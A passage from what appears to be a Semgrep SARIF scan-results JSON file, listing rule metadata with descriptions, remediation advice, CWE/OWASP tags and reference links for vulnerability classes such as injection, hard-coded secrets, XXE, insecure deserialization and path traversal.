unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","id":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","name":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-command.dangerous-exec-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password","id":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","name":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","id":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","name":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","id":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","name":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"help":{"markdown":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings](https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings)\n","text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection","id":"cpp.lang.security.format-string.format-string-injection.format-string-injection","name":"cpp.lang.security.format-string.format-string-injection.format-string-injection","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.format-string.format-string-injection.format-string-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle","id":"python.lang.security.deserialization.pickle.avoid-pickle","name":"python.lang.security.deserialization.pickle.avoid-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","id":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","name":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection","id":"php.laravel.security.laravel-code-injection.laravel-code-injection","name":"php.laravel.security.laravel-code-injection.laravel-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-code-injection.laravel-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli","id":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","name":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.sqli.csharp-sqli.csharp-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"help":{"markdown":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application accepts potentially user-controlled input `$PROP` which can control the location of the current window context. This can lead two types of vulnerabilities open-redirection and Cross-Site-Scripting (XSS) with JavaScript URIs. It is recommended to validate user-controllable input before allowing it to control the redirection."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.open-redirect.js-open-redirect","id":"javascript.browser.security.open-redirect.js-open-redirect","name":"javascript.browser.security.open-redirect.js-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.open-redirect.js-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe Restricted API Key detected"},"help":{"markdown":"Stripe Restricted API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe Restricted API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","id":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","name":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$STR`. This pointer is invalid after `$STR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.return-c-str.return-c-str","id":"cpp.lang.security.strings.return-c-str.return-c-str","name":"cpp.lang.security.strings.return-c-str.return-c-str","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.return-c-str.return-c-str"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","id":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","name":"ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-empty-password.ruby-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Instead, use a suitable password hashing function such as bcrypt. You can use the `bcrypt` gem."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.md5-used-as-password.md5-used-as-password","id":"ruby.lang.security.md5-used-as-password.md5-used-as-password","name":"ruby.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"help":{"markdown":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The size parameter to `snprintf` is derived from the source data, not the destination buffer. This may trigger a buffer overflow and memory corruption if `$SRC` is larger than `$DEST`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","id":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","name":"cpp.lang.security.strings.snprintf-source-size.snprintf-source-size","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-source-size.snprintf-source-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint.file-taint","id":"csharp.dotnet-core.path-traversal.file-taint.file-taint","name":"csharp.dotnet-core.path-traversal.file-taint.file-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint.file-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not have JavaScript disabled. Consider disabling JavaScript wherever the functionality is not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-allow-js.swift-webview-config-allows-js","id":"swift.webview.webview-allow-js.swift-webview-config-allows-js","name":"swift.webview.webview-allow-js.swift-webview-config-allows-js","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-allow-js.swift-webview-config-allows-js"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD2 hash algorithm which is considered insecure. MD2 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family 